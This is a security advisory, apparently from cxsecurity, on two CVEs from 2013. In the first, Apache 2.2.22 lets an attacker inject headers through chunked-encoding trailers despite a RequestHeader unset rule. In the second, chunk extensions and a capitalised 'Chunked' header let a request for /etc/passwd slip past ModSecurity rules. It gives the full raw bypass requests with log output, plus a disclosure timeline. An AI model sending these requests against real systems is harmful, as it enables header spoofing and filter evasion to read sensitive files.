Apache HTTPD 2.2.22/ModSecurity 2.7.5 bypass RequestHeader unset

2014.04.16
Credit: Martin
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

Chunked HTTP transfer encoding Back in the days before websockets, and even XHR, something called Chunked encoding or chunked http responses were used to achieve a server->client callback. I once wrote a chat server, based on the following concept; the client loads resources from a common webserver, a.chatserver.com, which also sets its domain to chatserver.com. That page also loads a script from b.chatserver.com. That script also sets its domain to chatserver.com - just to clear any SOP issues. At b.chatserver.com, we had a tcp server listening, which allowed us to keep an open tcp socket towards the client, and could use to send javascript snippets, for example messageReceived('foobar') By using chunked responses, the actual tcp traffic would look something like this: HTTP 200 OK Transfer-Encoding: chunked 20 document.domain='chatserver.com' .. some time later ... FA messageReceived('hello'); As far as I can tell, this is designed mostly just as a mechanism to allow a server to stream data to a client. I don't know to what extent a browser has ever been coerced into sending chunked requests to a server. However, the protocol defines this as a bi-directional mechanism, it can be used by the client as well as the server. Diving into chunked HTTP requests For whatever reason, I happened to check out the source code for a part of Netty, the HttpChunkAggregator. The way Netty does things is that it has various handlers for upstream or downstream traffic, organised throgh a pipe, and one of these handlers can unchunk http requests that arrive in chunks. I came across this piece of code: if (chunk.isLast()) { this.currentMessage = null; // Merge trailing headers into the message. if (chunk instanceof HttpChunkTrailer) { HttpChunkTrailer trailer = (HttpChunkTrailer) chunk; for (Entry<String, String> header: trailer.getHeaders()) { currentMessage.setHeader(header.getKey(), header.getValue()); } } After some googling and protocol reading, I found out that http headers can be sent after the http body. This could be a valid HTTP-request POST /test.php HTTP/1.1 User-Agent: Fooo Host: bar Transfer-Encoding: chunked 4 Test 0 User-Agent: Bar Evil-header: foobar So, apparently, this is the protocol definition, as per RFC 2616 Chunked-Body = *chunk last-chunk trailer CRLF chunk = chunk-size [ chunk-extension ] CRLF chunk-data CRLF chunk-size = 1*HEX last-chunk = 1*("0") [ chunk-extension ] CRLF chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token | quoted-string chunk-data = chunk-size(OCTET) trailer = *(entity-header CRLF) Also, the RFC says: All HTTP/1.1 applications MUST be able to receive and decode the "chunked" transfer-coding, and MUST ignore chunk-extension extensions they do not understand. Filter bypass 1 (CVE-2013-5704) Many applications reside behind some kind of gateway, often a load balancer or SSL-termination point. I've seen, on several occasions, that this gateway handles authentication, and dispatches the request to other internal machines after adding a few headers. These headers could for example denote who the user is, or what role he/she has. X-User-Id: 123123123 In many such solutions, there is also a filtering mechanism, to ensure that a remote attacker is unable to inject his own headers, thus for example assigning himself arbitrary user accounts. Can we use trailing headers to inject headers, and bypass such filtering? To test that, I installed the latest apache+php version. In my Apache config, I used mod_headers to be able to unset headers RequestHeader unset Removeme I also wrote a simple php script that just prints out the received heades. First, a simple test: POST /test.php HTTP/1.1 Host: localhost.me User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Removeme: willbegone 3 x=a 0 X-user-id: foobar Result: Host localhost.me User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Content-Type application/x-www-form-urlencoded Transfer-Encoding chunked X-user-id foobar So, obviously, the filter works, and the trailing headers work. Now, can we bypass the filter? POST /test.php HTTP/1.1 Host: localhost.me User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Removeme: willbegone 3 x=a 0 X-user-id: foobar Removeme: noyouwont Result: Host localhost.me User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Content-Type application/x-www-form-urlencoded Transfer-Encoding chunked X-user-id foobar Removeme noyouwont Filter bypass #2 (CVE-2013-5705) Another thing that struck me were the chunk extensions. Those can be used to masquerade the true content going over the wire, potentially sailing straight through WAFs and IDS's that do not bother to 'wait out' the chunked request. By splitting the malicious payload, and injecting chunk extensions (which MUST be ignored - remember), a payload like evil=hahaha can be turned into: 4;foo=bar evil 1;foo=bbb = 1;fooxbazonk h 1;zxczxczxc a 1;yadadada h 1;hrrmph a So, I went ahead and installed ModSecurity with CRS (core rule set). The following rules were activated: martin@lenovox2:/usr/share/modsecurity-crs/activated_rules $ ls modsecurity_35_bad_robots.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_35_scanners.data modsecurity_crs_41_xss_attacks.conf modsecurity_40_generic_attacks.data modsecurity_crs_42_comment_spam.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_42_tight_security.conf modsecurity_42_comment_spam.data modsecurity_crs_45_trojans.conf modsecurity_50_outbound.data modsecurity_crs_47_common_exceptions.conf modsecurity_50_outbound_malware.data modsecurity_crs_48_local_exceptions.conf.example modsecurity_crs_20_protocol_violations.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_50_outbound.conf modsecurity_crs_23_request_limits.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_crs_30_http_policy.conf modsecurity_crs_60_correlation.conf modsecurity_crs_35_bad_robots.conf README modsecurity_crs_40_generic_attacks.conf Testing that the ruleset is activated and blocks a naive attack: POST /test.php? HTTP/1.1 Host: localhost.me User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 23 secret_file=/etc/passwd Result in logfile: Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5, SQLi=, XSS=): Remote File Access Attempt"] Apache-Handler: application/x-httpd-php Stopwatch: 1378322897017422 11403 (- - -) Stopwatch2: 1378322897017422 11403; combined=8484, p1=470, p2=7386, p3=2, p4=483, p5=143, sr=100, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5. Server: Apache/2.2.22 (Ubuntu) Attempt to use this technique to bypass Mod Security POST /test2.php? HTTP/1.1 Host: localhost.me User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 23 Transfer-Encoding: chunked C;xxxaa secret_file= 1;foobar / 1;test / 2;aa et 1;bbb c 1;aas / 2;sd pa 4;asd sswd 0 Result: Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"] Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 7, SQLi=, XSS=): Remote File Access Attempt"] Apache-Error: [file "/build/buildd/php5-5.4.9/sapi/apache2handler/sapi_apache2.c"] [line 332] [level 3] script '/var/www/test2.php' not found or unable to stat Apache-Handler: application/x-httpd-php Stopwatch: 1378323543302508 9369 (- - -) Stopwatch2: 1378323543302508 9369; combined=8301, p1=504, p2=7365, p3=2, p4=298, p5=131, sr=57, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5. Server: Apache/2.2.22 (Ubuntu) So, obviously I'm not discovering a new attack here, mod security already knows how to handle chunked requests. Nice job! However, I couldn't just stop there. I downloaded the source code for ModSecurity and did a simple ack-grep for 'chunked', and saw this snippet: apache2/modsecurity.c 295: msr->reqbody_chunked = 0; 298: /* There's no C-L, but is chunked encoding used? */ 300: if ((transfer_encoding != NULL)&&(strstr(transfer_encoding, "chunked") != NULL)) { 302: msr->reqbody_chunked = 1; So, it appears that a string comparison against the string 'chunked' is used. However, webservers such as apache are generally very forgiving when parsing headers, and are often case insensitive. So, a really simple refinement: POST /test.php? HTTP/1.1 Host: localhost.me User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: Chunked C;xxxaa secret_file= 1;foobar / 1;test / 2;aa et 1;bbb c 1;aas / 2;sd pa 4;asd sswd 0 Result: --c46b8404-H-- Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"] Message: Warning. Operator LT matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "33"] [id "981203"] [msg "Inbound Anomaly Score (Total Inbound Score: 2, SQLi=, XSS=): POST request must have a Content-Length header"] Apache-Handler: application/x-httpd-php Stopwatch: 1378324900277996 7897 (- - -) Stopwatch2: 1378324900277996 7897; combined=6542, p1=526, p2=5519, p3=2, p4=342, p5=153, sr=67, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5. Server: Apache/2.2.22 (Ubuntu) --c46b8404-Z-- Lo and behold, now it just complains about missing content-length, the score now down at 2 - it totally misses our &#8216;Remote File Access Attempt&#8217;. Also, the rule seems to be deprecated and subject for removal. ServerFault: If I recall correctly, ModSecurity 1.x required POST requests to specify content length purely because it didn't support chunked request bodies (the alternative way of submitting request bodies, in which the total length is not known until the end). Chunked request bodies were incredibly rare then (we're talking years 2003, 2004) and are still rare (although some mobile devices are using them). There are no such restrictions in ModSecurity 2.x. [...] Disclosure: I wrote ModSecurity. --- Ivan Ristic It is subject for removal from the CRS, OWASP discussion : > - 960012: There is no real reason for ModSecurity 2.x to request > POST request to have C-L. > - 960013: &#8220;ModSecurity does not support chunked transfer encodings > at this time.&#8221; &#8211; this is incorrect. So, using chunked encoding we can bypass any/all filters (except one) and sneak basically any payload through ModSecurity. I haven't tested any other WAFs/IDSs, so please leave a comment if you find one which falls for this simple trick, or if you know of any earlier work attacks based on these features, or if you come up with other variants to use this seldom seen protocol obscurity. You can use this javascript playground if you want to generate chunked encoding easily. Timeline 2013-09-05 Notified ModSecurity (security@modsecurity.org) about the problem. 2013-09-05 ModSecurity responded; will investigate/patch. 2013-09-06 Notified Apache Software Foundation about the problem. 2013-09-08 Apache responded; confirmed and looking into the issue. 2013-09-09 ModSecurity responded with patch. 2013-10-19 Apache security raised the issue on dev@httpd instead, it was &#8220;languishing on the private list&#8221;. Mail 2013-12-16 ModSecurity released version 2.7.6, with patch. 2014-03-31 Published details Status as of february 2014 The Ubuntu-packaged version of Modsecurity is 2.7.4, both for 13.10 and earlier. This version is vulnerable. The latest LTS server version - Ubuntu 12.04 uses Apache 2.2.22, which is vulnerable. Ubuntu 13.10 repositories contains Apache 2.4.6, which was found not to be vulnerable.

References:

http://martin.swende.se/blog/HTTPChunked.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top